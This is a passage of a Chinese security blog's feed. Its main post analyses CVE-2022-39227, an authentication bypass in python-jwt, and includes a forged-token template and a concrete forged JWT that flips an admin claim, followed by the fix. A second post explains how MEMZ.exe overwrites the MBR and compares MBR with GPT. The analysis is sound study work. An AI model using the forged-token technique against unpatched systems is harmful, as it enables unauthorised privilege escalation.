</span></span><span class="line"><span class="cl">            <span class="n">o</span><span class="p">[</span><span class="s1">&#39;payload&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="n">djws</span><span class="p">[</span><span class="s1">&#39;payload&#39;</span><span class="p">]</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>对JWS 紧凑序列化的处理流程如下：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">except</span> <span class="ne">ValueError</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">data</span> <span class="o">=</span> <span class="n">raw_jws</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39;.&#39;</span><span class="p">)</span> <span class="c1"># 将字符串按照&#39;.&#39;拆分</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 拆分后如果不是3个部分则说明格式错误</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">3</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">raise</span> <span class="n">InvalidJWSObject</span><span class="p">(</span><span class="s1">&#39;Unrecognized&#39;</span>
</span></span><span class="line"><span class="cl">                               <span class="s1">&#39; representation&#39;</span><span class="p">)</span> <span class="kn">from</span> <span class="bp">None</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 取header部分</span>
</span></span><span class="line"><span class="cl">    <span class="n">p</span> <span class="o">=</span> <span class="n">base64url_decode</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="mi">0</span><span class="p">]))</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">p</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">o</span><span class="p">[</span><span class="s1">&#39;protected&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">)</span> <span class="c1"># JWS紧凑序列化的header</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">_deserialize_b64</span><span class="p">(</span><span class="n">o</span><span class="p">,</span> <span class="n">o</span><span class="p">[</span><span class="s1">&#39;protected&#39;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">    <span class="n">o</span><span class="p">[</span><span class="s1">&#39;payload&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="n">base64url_decode</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="mi">1</span><span class="p">]))</span>
</span></span><span class="line"><span class="cl">    <span class="n">o</span><span class="p">[</span><span class="s1">&#39;signature&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="n">base64url_decode</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="mi">2</span><span class="p">]))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><blockquote>
<p><strong>Tip</strong>:</p>
<p>这里分享一个笔者联想到的，与漏洞分析无关的小点子。</p>
<p>观察到代码中的<code>if len(p) &gt; 0</code>，让人好奇：先前的<code>if len(data) != 3</code>似乎已经保证了<code>Protected Header</code>部分的内容不会为”空“了，为什么还需要加上这个校验呢？事实上，<code>if len(data) != 3</code>只能保证<code>data[0]</code>的内容不会为<code>null</code>。然而当<code>data[0]</code>的内容为<code>'=='</code>、<code>'==='</code>、<code>'===='</code>时，<code>base64url_decode()</code>也会返回空字符串，<code>Protected Header</code>部分的内容仍然可能为“空”。因此<code>if len(p) &gt; 0</code>校验并非冗余。</p>
<p>那么<code>Protected Header</code>的内容为<code>==</code>、<code>'==='</code>、<code>'===='</code>时会发生什么？当<code>len(p) == 0</code>，在此后的<code>JWS._verify()</code>方法中也会报错<code>No &quot;alg&quot; in headers</code>。因此<code>Protected Header</code>的内容始终不能为“空”，即使想用刚才的一堆<code>=</code>滥竽充数也不行。</p></blockquote>
<p>总结一下，<code>JWS.deserialize()</code>会首先尝试对传入的字符串进行JSON解析，如果行不通的话，就会再尝试进行JWS 紧凑序列化的解析。</p>
<p>最后，若参数<code>key</code>存在，则对<code>signature</code>进行验证。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">if</span> <span class="n">key</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="bp">self</span><span class="o">.</span><span class="n">verify</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">alg</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="0x03-漏洞解析">0x03 漏洞解析</h2>
<p>我们观察一下恶意token的格式：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">forged_token</span> <span class="o">=</span> <span class="s1">&#39;&#39;&#39;{
</span></span></span><span class="line"><span class="cl"><span class="s1">    &#34;</span><span class="si">%s</span><span class="s1">.</span><span class="si">%s</span><span class="s1">.&#34;: &#34;&#34;,
</span></span></span><span class="line"><span class="cl"><span class="s1">    &#34;protected&#34;: &#34;</span><span class="si">%s</span><span class="s1">&#34;,
</span></span></span><span class="line"><span class="cl"><span class="s1">    &#34;payload&#34;: &#34;</span><span class="si">%s</span><span class="s1">&#34;,
</span></span></span><span class="line"><span class="cl"><span class="s1">    &#34;signature&#34;: &#34;</span><span class="si">%s</span><span class="s1">&#34;
</span></span></span><span class="line"><span class="cl"><span class="s1">}&#39;&#39;&#39;</span> <span class="o">%</span> <span class="p">(</span><span class="n">header</span><span class="p">,</span> <span class="n">forged_payload</span><span class="p">,</span> <span class="n">header</span><span class="p">,</span> <span class="n">payload</span><span class="p">,</span> <span class="n">signature</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>也就是</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;&lt;header&gt;.&lt;forged_payload&gt;.&#34;</span><span class="p">:</span> <span class="s2">&#34;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;protected&#34;</span><span class="p">:</span> <span class="s2">&#34;&lt;header&gt;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;payload&#34;</span><span class="p">:</span> <span class="s2">&#34;&lt;payload&gt;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;signature&#34;</span><span class="p">:</span> <span class="s2">&#34;&lt;signature&gt;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>我们首先举个恶意token的例子，看看漏洞是如何利用的。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6IHRydWUsICJleHAiOiAxNzQ3MDQwOTM5LCAiaWF0IjogMTc0NzA0MDYzOSwgImp0aSI6ICJpRmU1VVN6eVhkZnR4SndWNFRGUjBRIiwgIm5iZiI6IDE3NDcwNDA2Mzl9.&#34;</span><span class="p">:</span> <span class="s2">&#34;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;protected&#34;</span><span class="p">:</span> <span class="s2">&#34;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;payload&#34;</span><span class="p">:</span> <span class="s2">&#34;eyJhZG1pbiI6ZmFsc2UsImV4cCI6MTc0NzA0MDkzOSwiaWF0IjoxNzQ3MDQwNjM5LCJqdGkiOiJpRmU1VVN6eVhkZnR4SndWNFRGUjBRIiwibmJmIjoxNzQ3MDQwNjM5fQ&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;signature&#34;</span><span class="p">:</span> <span class="s2">&#34;1BftylfzfqBgMFnZ7Sp5S-NNZSYtax2TKEg_CXXmMbM&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>乍一看这就是一个JSON字符串。在<code>JWS.deserialize()</code>眼中，它是一个JWS JSON 序列化。不过，它在<code>verify_jwt()</code>眼中却是这样的一个JWT：</p>
<pre tabindex="0"><code>`Header`: {&#34;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
`Payload`: eyJhZG1pbiI6IHRydWUsICJleHAiOiAxNzQ3MDQwOTM5LCAiaWF0IjogMTc0NzA0MDYzOSwgImp0aSI6ICJpRmU1VVN6eVhkZnR4SndWNFRGUjBRIiwgIm5iZiI6IDE3NDcwNDA2Mzl9
`Signature`: &#34;: &#34;&#34;,&#34;protected&#34;: &#34;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9&#34;,&#34;payload&#34;: &#34;eyJhZG1pbiI6ZmFsc2UsImV4cCI6MTc0NzA0MDkzOSwiaWF0IjoxNzQ3MDQwNjM5LCJqdGkiOiJpRmU1VVN6eVhkZnR4SndWNFRGUjBRIiwibmJmIjoxNzQ3MDQwNjM5fQ&#34;,&#34;signature&#34;: &#34;1BftylfzfqBgMFnZ7Sp5S-NNZSYtax2TKEg_CXXmMbM&#34;}
</code></pre><p>因此，对于这个恶意token，经过<code>verify_jwt()</code>解析后为：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">header</span><span class="p">,</span> <span class="n">claims</span><span class="p">,</span> <span class="n">_</span> <span class="o">=</span> <span class="n">jwt</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39;.&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># header = {&#34;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9</span>
</span></span><span class="line"><span class="cl"><span class="c1"># claims = eyJhZG1pbiI6IHRydWUsICJleHAiOiAxNzQ3MDQwOTM5LCAiaWF0IjogMTc0NzA0MDYzOSwgImp0aSI6ICJpRmU1VVN6eVhkZnR4SndWNFRGUjBRIiwgIm5iZiI6IDE3NDcwNDA2Mzl9</span>
</span></span><span class="line"><span class="cl"><span class="n">parsed_header</span> <span class="o">=</span> <span class="n">json_decode</span><span class="p">(</span><span class="n">base64url_decode</span><span class="p">(</span><span class="n">header</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="c1"># parsed_header = {&#34;alg&#34;:&#34;HS256&#34;,&#34;typ&#34;:&#34;JWT&#34;}</span>
</span></span><span class="line"><span class="cl"><span class="n">parsed_claims</span> <span class="o">=</span> <span class="n">json_decode</span><span class="p">(</span><span class="n">base64url_decode</span><span class="p">(</span><span class="n">claims</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="c1"># parsed_claims = {&#34;admin&#34;: true, &#34;exp&#34;: 1747040939, &#34;iat&#34;: 1747040639, &#34;jti&#34;: &#34;iFe5USzyXdftxJwV4TFR0Q&#34;, &#34;nbf&#34;: 1747040639}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>而<code>JWS.deserialize()</code>会将它当作扁平化形式的JWS JSON 序列化进行处理。解析结果为：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">o</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_deserialize_signature</span><span class="p">(</span><span class="n">djws</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># o[&#39;protected&#39;] = {&#34;alg&#34;:&#34;HS256&#34;,&#34;typ&#34;:&#34;JWT&#34;}</span>
</span></span><span class="line"><span class="cl"><span class="c1"># o[&#39;signature&#39;] = b&#39;\xd4\x17\xed\xcaW\xf3~\xa0`0Y\xd9\xed*yK\xe3Me&amp;-k\x1d\x93(H?\tu\xe61\xb3&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">o</span><span class="p">[</span><span class="s1">&#39;payload&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="n">base64url_decode</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">djws</span><span class="p">[</span><span class="s1">&#39;payload&#39;</span><span class="p">]))</span>
</span></span><span class="line"><span class="cl"><span class="c1"># o[&#39;payload&#39;] = {&#34;admin&#34;:false,&#34;exp&#34;:1747040939,&#34;iat&#34;:1747040639,&#34;jti&#34;:&#34;iFe5USzyXdftxJwV4TFR0Q&#34;,&#34;nbf&#34;:1747040639}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><blockquote>
<p><strong>Tip</strong>:</p>
<p>在对<code>header</code>进行base64解码时，会因为<code>{</code>和<code>&quot;</code>字符抛出异常吗？</p>
<p><code>JWS.deserialize()</code>进行base64解码时使用的是<code>jwcrypto.common.base64url_decode()</code>，这一函数其实调用了<code>base64.urlsafe_b64decode()</code>，而它其实调用了<code>base64.b64decode()</code>。阅读<code>base64.b64decode()</code>的<a href="https://docs.python.org/3/library/base64.html">官方文档</a>，我们得知：</p>
<p>If <em>validate</em> is <code>False</code> (the default), characters that are neither in the normal base-64 alphabet nor the alternative alphabet are discarded prior to the padding check. If <em>validate</em> is <code>True</code>, these non-alphabet characters in the input result in a <code>binascii.Error</code>.</p>
<p><code>jwcrypto.common.base64url_decode()</code>与<code>base64.urlsafe_b64decode()</code>都没有将<code>validate</code>值设置为<code>True</code>，因此程序会丢弃<code>{</code>和<code>&quot;</code>字符，也就不会因为这些字符而抛出异常。</p></blockquote>
<p><code>JWS.deserialize()</code>会提取这个JSON字符串中<code>protected</code>、<code>payload</code>、<code>signature</code>字段的值。它获取的<code>protected</code>与<code>payload</code>的值都来源于<code>original_token</code>，将它们带入验证，最终<code>signature</code>验证通过也是理所当然的。</p>
<p><code>verify_jwt()</code>得知<code>signature</code>验证通过了，就返回<code>parsed_header</code>与<code>parsed_claims</code>的值。可是，返回的<code>parsed_claims</code>却是攻击者篡改过的值，其中包含<code>&quot;admin&quot;: true</code>。至此，攻击者提权成功。</p>
<p>让我们总结一下思路。</p>
<ul>
<li>
<p>攻击者精心构造恶意token，这个恶意token同时符合<strong>JWS JSON 序列化</strong>和<strong>JWS 紧凑序列化</strong>的特征。</p>
</li>
<li>
<p><code>JWS.deserialize()</code>的期望效果是将传入的token当作<strong>JWS 紧凑序列化</strong>，因为一个正常的JWT同时也是JWS 紧凑序列化。</p>
</li>
<li>
<p>然而<code>JWS.deserialize()</code>将恶意token当作了<strong>JWS JSON 序列化</strong>，在对<code>signature</code>进行校验时使用的值是原汁原味的<code>&lt;header&gt;</code>与<code>&lt;payload&gt;</code>，校验自然成功。</p>
</li>
<li>
<p>得知<code>signature</code>校验成功后，<code>verify_jwt()</code>返回的期望值应当是<code>&lt;header&gt;</code>与<code>&lt;payload&gt;</code>。</p>
</li>
<li>
<p>然而对于恶意token，<code>verify_jwt()</code>返回的值却是<code>&lt;header&gt;</code>与<code>&lt;forged_payload&gt;</code>。攻击者成功欺骗了<code>verify_jwt()</code>，使其返回了攻击者篡改的值。</p>
</li>
</ul>
<h2 id="0x04-漏洞修复">0x04 漏洞修复</h2>
<p>阅读作者修复漏洞的<a href="https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9">commit</a>，我们得知：<code>verify_jwt()</code>在进行后续处理前，首先会通过<code>_check_jwt_format()</code>验证JWT的格式：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">_jwt_re</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">compile</span><span class="p">(</span><span class="sa">r</span><span class="s1">&#39;^[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]*$&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">_check_jwt_format</span><span class="p">(</span><span class="n">jwt</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="ow">not</span> <span class="n">_jwt_re</span><span class="o">.</span><span class="k">match</span><span class="p">(</span><span class="n">jwt</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;invalid JWT format&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>也就是说，JWT不再能包含<code>{</code>、<code>}</code>、<code>&quot;</code>、<code>:</code>等等符号了。攻击者无法构造符合JWS JSON 序列化特征的JWT进行攻击，漏洞修复完成。</p>
<h2 id="相关文章">相关文章</h2>
<ul>
<li><a href="https://ltmthink.github.io/2024/01/03/Python-JWT%E8%BA%AB%E4%BB%BD%E9%AA%8C%E8%AF%81%E7%BB%95%E8%BF%87%5C%28CVE-2022-39227%5C%29/">Python-JWT身份验证绕过复现(CVE-2022-39227) | LtmThink</a></li>
<li><a href="https://forum.butian.net/share/1990">奇安信攻防社区-CVE-2022-39227漏洞分析</a></li>
</ul>
]]></content:encoded></item><item><title>由MEMZ.exe浅谈MBR分区</title><link>https://a7ca3.github.io/post/%E7%94%B1memz.exe%E6%B5%85%E8%B0%88mbr%E5%88%86%E5%8C%BA/</link><pubDate>Sat, 29 Mar 2025 09:44:37 +0800</pubDate><guid>https://a7ca3.github.io/post/%E7%94%B1memz.exe%E6%B5%85%E8%B0%88mbr%E5%88%86%E5%8C%BA/</guid><description>&lt;p>初中的时候很喜欢在B站看彩虹猫病毒的视频。视频内容要么是“彩虹猫在xx系统运行”，要么就是&amp;quot;彩虹猫大战各种杀软&amp;quot;，实在没活了之后又能换款病毒像前两种继续水视频，基本上没有太多技术含量而言。如今也想不明白自己当初为什么会着迷这种视频。&lt;/p></description><content:encoded><![CDATA[<p>初中的时候很喜欢在B站看彩虹猫病毒的视频。视频内容要么是“彩虹猫在xx系统运行”，要么就是&quot;彩虹猫大战各种杀软&quot;，实在没活了之后又能换款病毒像前两种继续水视频，基本上没有太多技术含量而言。如今也想不明白自己当初为什么会着迷这种视频。</p>
<p>关于第一篇博客的题材想了许久，干脆就重拾当时的“兴趣”，尝试做些技术面分析。</p>
<h2 id="0x01-mbr分区介绍">0x01 MBR分区介绍</h2>
<p><strong>MBR（Master Boot Record）</strong>，中文翻译为<strong>主引导记录</strong>、主引导扇区，位于磁盘的首个扇区（LBA 0）。计算机开机启动时，BIOS会首先读取MBR，之后完成一系列开机操作。MEMZ.exe就是通过修改MBR分区，从而实现开机时播放彩虹猫动画，并操控蜂鸣器播放音乐。</p>
<p>MBR占用一个扇区，即512个字节。在该扇区中，前446字节称作<strong>主引导例程（Master Boot Routine）</strong>，随后的64个字节为<strong>分区表（Disk Partition Table, DPT）</strong>，最后两个字节为结束标识符，值为55AAH。</p>
<p>MBR的<a href="https://thestarman.pcministry.com/asm/mbr/STDMBR.htm">检查代码</a>有三个版本，他们分别是：</p>
<ul>
<li>标准版本，历经MS-DOS 3.30至Windows 95版本；</li>
<li>第二个版本，适用于Windows 95B, 98, 98SE, ME版本；</li>
<li>第三个版本，适用于Windows 7, 8/8.1, 10版本。</li>
</ul>
<p>当然Linux和macOS也支持或曾经支持MBR。</p>
<h3 id="主引导例程">主引导例程</h3>
<p>不同版本的主引导例程随着不同版本的检查代码而有些许差异，但大体结构不变。</p>
<p><img alt="image.png" loading="lazy" src="https://cdn.jsdelivr.net/gh/studyHard282/imgHost@main/blog/20250325165014.png"></p>
<p>以标准版本为例，绿色部分为可执行代码，随后的紫色部分为报错信息。红色和黄色部分分别为分区表和结束标识符，当然他们不在主引导例程的范围之内了。若读者需要进一步学习，可阅读MBR检查代码里的opcode。</p>
<h3 id="分区表">分区表</h3>
<p>分区表占据 $4\times16$ 个字节。每个分区的信息占据16字节，由此可以看出MBR型最多能划分4个主分区（或者3个主分区+1个扩展分区）。每个分区占据的16字节<a href="https://thestarman.pcministry.com/asm/mbr/PartTables.htm">规划</a>如下。</p>
<table>
  <thead>
      <tr>
          <th>偏移量</th>
          <th>长度（字节）</th>
          <th>内容与含义</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>0x00</td>
          <td>1</td>
          <td>引导标志。0x80表示活动分区，0x00表示非活动分区。</td>
      </tr>
      <tr>
          <td>0x01</td>
          <td>3</td>
          <td>起始CHS地址。三个字节分别表示分区的起始柱面（C）、磁头（H）、扇区（S）。</td>
      </tr>
      <tr>
          <td>0x04</td>
          <td>1</td>
          <td>分区类型标志位。</td>
      </tr>
      <tr>
          <td>0x05</td>
          <td>3</td>
          <td>结束CHS地址。三个字节分别表示分区的起始柱面（C）、磁头（H）、扇区（S）。</td>
      </tr>
      <tr>
          <td>0x08</td>
          <td>4</td>
          <td>起始LBA。记录从磁盘的第一个扇区（LBA 0）到当前分区第一个扇区的扇区数量。</td>
      </tr>
      <tr>
          <td>0x0C</td>
          <td>4</td>
          <td>本分区的总扇区数。</td>
      </tr>
  </tbody>
</table>
<h2 id="0x02-memzexe修改mbr分区">0x02 MEMZ.exe修改MBR分区</h2>
<p>MEMZ.exe中覆写MBR分区的代码部分如图所示。</p>
<p><img alt="image.png" loading="lazy" src="https://cdn.jsdelivr.net/gh/studyHard282/imgHost@main/blog/20250326232845.png"></p>
<p>样本首先以读写方式打开PhysicalDrive0（通常为主硬盘），之后分配一个大小为64KB（0x10000字节）的内存缓冲区。随后向内存缓冲区中写入byte_402118和byte_402248的内容。</p>
<p>byte_402118的内容如下图所示。</p>
<p><img alt="image.png" loading="lazy" src="https://cdn.jsdelivr.net/gh/studyHard282/imgHost@main/blog/20250327154217.png"></p>
<p>byte_402118长度为303字节，从缓冲区首个位置开始写入，很显然其目的是覆盖主引导例程部分。此部分的opcode主要用于为播放彩虹猫动画和音乐做准备。</p>
<p>byte_402248篇幅较长，若读者感兴趣可自行分析。其前两个字节的内容如下图所示。</p>
<p><img alt="image.png" loading="lazy" src="https://cdn.jsdelivr.net/gh/studyHard282/imgHost@main/blog/20250327160758.png"></p>
<p>byte_402248偏移了510个字节后向内存写入，而其开头的两个字节的内容为55h，AAh，很显然是为了补足MBR结束标识符，使得MBR的检查代码能够成功识别MBR。随后的内容为显示彩虹猫动画、播放音乐、阻止系统响应输入等。</p>
<h2 id="0x03-更好的替代品">0x03 更好的替代品</h2>
<p>20世纪90年代末期，Intel开发了一种新的分区表格式，随后成为了UEFI的一部分。<a href="https://uefi.org/specs/UEFI/2.11/05_GUID_Partition_Table_Format.html">GPT</a>也随UEFI而诞生。<strong>GPT（GUID Partition Table）</strong>，中文翻译为<strong>全局唯一标识分区表</strong>，相较于MBR有了更多优势。</p>
<h3 id="可支持的硬盘容量更大">可支持的硬盘容量更大</h3>
<p>受限于MBR的分区表长度限制，即上文提到的仅有4个字节（32位）存储LBA值，此时MBR可支持的最多扇区数为 $2^{32}−1=4,294,967,295$。扇区大小按照512字节计算，则MBR可支持的硬盘容量大小为 $4,294,967,295\times512=2,199,023,255,040$ 个字节，即大多数资料所描述的2.2TB。而GPT分区使用了8个字节（64位）存储LBA值，可支持的扇区数目就是MBR的 $2^{32}$ 倍。此时，可支持的硬盘容量受限的瓶颈在于操作系统、文件系统等等软件的限制了（当然现实中也很难造出如此大容量的硬盘）。</p>
<h3 id="可支持的分区更多">可支持的分区更多</h3>
<p>先前提到MBR的分区表大小为64个字节，按照设计每个分区的信息占据16字节，因此MBR最多只能划分4个主分区。而GPT的分区表是动态扩展的，理论上对分区数目没有限制。但一些操作系统（例如<a href="https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/configure-uefigpt-based-hard-drive-partitions#partition-requirements">微软</a>）默认GPT最多可支持128个分区。当然现实中需要用到128个分区以上的情况也是极少数的。</p>
<p>除此之外，GPT分区相较于MBR还有提供备份分区表、使用CRC32保证完整性等等优势。随着时间的车轮滚滚向前，MBR与BIOS两兄弟在GPT与UEFI的光芒下显得黯然失色。即使保持着兼容性，如今的操作系统也逐渐不认可MBR分区了。</p>
<p>GPT分区的LBA 0内容为传统的MBR（Legacy Master Boot Record）或保护性MBR（Protective MBR），这意味着MEMZ.exe仍然可以破坏这些地方。但可能UEFI不再会识别MEMZ.exe覆写MBR的代码，计算机感染后开机也不会播放彩虹猫动画和音乐。如今MEMZ.exe也已经迭代了<a href="https://www.youtube.com/watch?v=C19JfFKAogE">更安全的版本</a>，可以在不破坏电脑的情况下重温病毒感染时的动画效果。</p>
]]></content:encoded></item><item><title>关于</title><link>https://a7ca3.github.io/about/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://a7ca3.github.io/about/</guid><description>about</description><content:encoded>&lt;p>如果你有更好的建议和想吐槽的点，欢迎发送邮箱到 &lt;a href="mailto:a7ca39@gmail.com">a7ca39@gmail.com&lt;/a> ！
本博客正在施工中🚧，在此期间如果你有什么建议，也欢迎发送邮箱或在评论区留言。&lt;/p>
</content:encoded></item></channel></rss>